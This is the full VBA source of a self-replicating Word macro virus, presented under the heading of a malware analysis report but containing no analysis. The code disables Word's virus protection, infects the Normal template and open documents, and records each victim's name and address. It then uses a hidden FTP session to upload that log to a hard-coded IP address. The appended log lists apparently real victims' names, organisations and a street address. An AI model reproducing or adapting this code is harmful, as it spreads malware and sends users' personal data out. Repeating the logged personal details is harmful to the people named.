Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For I = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next I
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For I = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next I

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 09:23:32 AM - Wednesday, 23 Dec 1998
' bcbsa
'



' 12:08:05 PM - Monday, 4 Jan 1999
' ISG
'



' 02:41:37 PM - Tuesday, 5 Jan 1999
' Information Systems Group
'



' 05:26:08 PM - Tuesday, 12 Jan 1999
' Information Systems
' CSC Healthcare
' 1675 Broadway, 18th Floor
' New York, NY 10019



' 11:11:28 PM - Tuesday, 26 Jan 1999
' Kinko's
'



' 01:55:18 PM - Tuesday, 2 Feb 1999
' Med97
'



' 06:53:16 PM - Wednesday, 3 Feb 1999
' School of Law
'



' 07:06:22 PM - Thursday, 4 Feb 1999
' School of Law
' Matthew J. O'Connor
' 1000 Civic Center Drive, #4
' Santa Clara, CA  95050



' 04:16:19 PM - Saturday, 6 Feb 1999
' School of Law
'



' 09:15:50 PM - Monday, 15 Feb 1999
' School of Law
'



' 05:12:17 PM - Wednesday, 17 Feb 1999
' Information Technology Labs
'



' 10:29:12 PM - Sunday, 21 Feb 1999
' Information Technology Labs
'



' 11:34:45 PM - Thursday, 25 Feb 1999
' Information Technology Labs
'



' 11:56:26 PM - Sunday, 7 Mar 1999
' Sara Schmitt
'



' 12:45:56 AM - Thursday, 29 Apr 1999
' Compaq
'



' 07:49:57 PM - Tuesday, 8 Jun 1999
' stephanie anne barr
'



' 01:08:29 AM - Wednesday, 23 Feb 2000
' Mark A. Davis
'



' 07:40:16 PM - Tuesday, 30 May 2000
' George Kounalakis
'



' 12:30:07 PM - Tuesday, 28 Nov 2000
' SMUHSD
'



' 01:24:53 PM - Friday, 9 Nov 2001
' Social Science Office
'

' 01:51:39 PM - Saturday, 7 Feb 2004
' Steve Erle
'



' 11:46:38 AM - Monday, 1 Mar 2004
' Steve Erle
'